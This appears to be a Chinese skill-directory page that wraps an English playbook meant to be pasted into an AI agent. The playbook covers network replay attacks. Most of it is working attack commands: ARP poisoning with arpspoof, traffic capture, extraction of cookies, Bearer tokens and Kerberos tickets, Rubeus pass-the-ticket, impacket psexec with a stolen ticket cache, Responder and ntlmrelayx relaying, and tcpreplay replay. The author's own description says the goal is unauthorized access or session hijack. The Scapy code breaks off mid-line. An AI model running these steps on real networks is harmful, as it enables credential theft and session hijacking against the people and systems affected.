network-replay
它能做什么
本指南介绍如何重新发送截获的网络消息来测试身份验证。适用于检查协议是否使用新鲜值以及会话是否受到保护的安全团队。
适用场景
- ✓当经授权的测试截获了流量,需要检查其能否被重新发送时。
- ✓当团队想确认登录消息是否使用一次性值或时间戳时。
- ✓当某个协议可能在未检查时效性的情况下接受旧消息时。
技能链接
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/network-replay/SKILL.md复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。
使用方法
最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。
可直接粘贴的消息
适用于 Claude Code、Codex 或 Cursor:在项目文件夹中运行,即可安装该技能。
下载 SKILL.md,放进智能体的技能文件夹。
可以这样问 AI
“我们在经授权的测试中截获了登录流量。能否检查服务器是否会再次接受同一条消息?”
每周 5 个新技能,1 分钟读完。
工作原理
智能体会检查截获消息中的随机数、时间戳和会话值,然后在授权范围内测试服务器是否拒绝重复的消息。
技术内容(原始 SKILL.md)
作者在 GitHub 上的英文原文。
Network Replay Attack Playbook
Authorized use only. Replay attacks require network capture of live traffic which may incidentally capture credentials or PII from non-target systems. RoE must explicitly authorize packet capture on the target subnet and name which protocols and systems are in scope.
Overview
A replay attack reuses previously captured, valid network messages to re-authenticate or re-authorize without knowing the underlying secret. CAI's dedicated replay-attack agent covers this as a distinct offensive primitive. Decepticon routes it here from any engagement where valid traffic has been captured and the auth token / session state is reusable.
Tool inventory
# Verify tools available (standard Kali)
which tcpreplay tcpprep tcprewrite tshark scapy 2>/dev/null
pip show scapy pwntools 2>/dev/null | grep -E 'Name|Version'
Phase 1 — Traffic Capture
Passive capture on a local segment
# Broad capture — filter to target host post-hoc
sudo tcpdump -i <iface> -w /tmp/capture.pcap host <target_ip>
# Targeted: capture only authentication-relevant ports
sudo tcpdump -i <iface> -w /tmp/auth.pcap \
'host <target> and (port 80 or port 443 or port 88 or port 389 or port 1883)'
# If you have a SPAN/mirror port feeding into the attacker NIC:
sudo tcpdump -i <span_iface> -w /tmp/span.pcap -s 0
Capture via MITM (ARP poisoning prerequisite)
# ARP poison victim <-> gateway to intercept traffic
sudo arpspoof -i <iface> -t <victim_ip> <gateway_ip> &
sudo arpspoof -i <iface> -t <gateway_ip> <victim_ip> &
# Enable IP forwarding to stay transparent
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
sudo tcpdump -i <iface> -w /tmp/mitm.pcap host <victim_ip>
Phase 2 — Extract Replayable Material
HTTP session tokens and cookies
tshark -r /tmp/capture.pcap \
-Y 'http.request.method == "POST" || http.cookie' \
-T fields -e frame.number -e ip.src -e http.cookie \
-e http.authorization -e http.file_data 2>/dev/null | head -50
# Extract cookie / Authorization header value for direct reuse
tshark -r /tmp/capture.pcap -Y 'http.cookie' \
-T fields -e http.cookie 2>/dev/null | sort -u
JWT tokens
# JWTs appear in Authorization: Bearer headers or JSON bodies
tshark -r /tmp/capture.pcap \
-Y 'http.authorization contains "Bearer"' \
-T fields -e http.authorization 2>/dev/null | \
grep -oP 'Bearer \K[A-Za-z0-9._-]+'
Decode and inspect without verification (note: this does NOT forge — just inspects claims to understand expiry, role, subject):
import base64, json
token = "<paste_jwt>"
header, payload, sig = token.split('.')
print(json.loads(base64.b64decode(payload + '==').decode()))
Kerberos TGT / TGS ticket replay (Pass-the-Ticket)
# Extract Kerberos AS-REP / TGS-REP from capture
tshark -r /tmp/capture.pcap -Y 'kerberos' \
-T fields -e kerberos.msg_type -e kerberos.CNameString \
-e kerberos.realm 2>/dev/null | head -30
# If you have code execution on a Windows host — dump tickets in memory
# (credential-access domain; use from post-exploit context)
# Rubeus.exe dump /luid:<logon_id> /service:krbtgt /nowrap
# Then inject: Rubeus.exe ptt /ticket:<base64_kirbi>
# Impacket-based PTT (Linux) after extracting .ccache file
export KRB5CCNAME=/tmp/stolen.ccache
python3 /opt/impacket/examples/psexec.py -k -no-pass <target>
NTLM Net-NTLMv2 capture for relay (not crack)
This is the relay path, not hash crack. See ad/ntlm-relay for full relay
playbook. Capture with Responder:
sudo responder -I <iface> -wdF # capture Net-NTLMv2 hashes
# For relay (not crack): pipe directly to ntlmrelayx
sudo ntlmrelayx.py -tf /tmp/relay_targets.txt -smb2support
Phase 3 — Replay Execution
Raw PCAP replay with tcpreplay
# Extract specific frames to replay
tshark -r /tmp/capture.pcap -w /tmp/auth_only.pcap \
-Y 'frame.number >= 150 && frame.number <= 180'
# Replay at original rate to target
sudo tcpreplay --intf1=<iface> --topspeed /tmp/auth_only.pcap
# Replay with destination MAC/IP rewrite (different target host)
tcprewrite --srcipmap=<orig_src>:<new_src> \
--dstipmap=<orig_dst>:<new_dst> \
--enet-dmac=<target_mac> \
--infile=/tmp/auth_only.pcap \
--outfile=/tmp/rewritten.pcap
sudo tcpreplay --intf1=<iface> /tmp/rewritten.pcap
Scapy session token injection
from scapy.all import rdpcap, IP, TCP, Raw, send
pack
常见问题
什么是重放攻击?
指重新发送一条被截获的有效消息,使服务器再次接受它。
服务器如何阻止它?
根据指南,通过一次性值、时间戳和会话检查。
截获流量需要许可吗?
需要。指南指出,必须明确授权对目标子网和协议进行数据包截获。
详情
作者的原始描述
PCAP-based network replay attacks: capture auth sequences, session tokens, and protocol frames, then replay or inject to achieve unauthorized access or session hijack.
热度
- GitHub 星标
- 6.5k
- 排名
- #14137
- 许可证
- Apache-2.0
- 更新时间
- 2026/11/1
评论
- …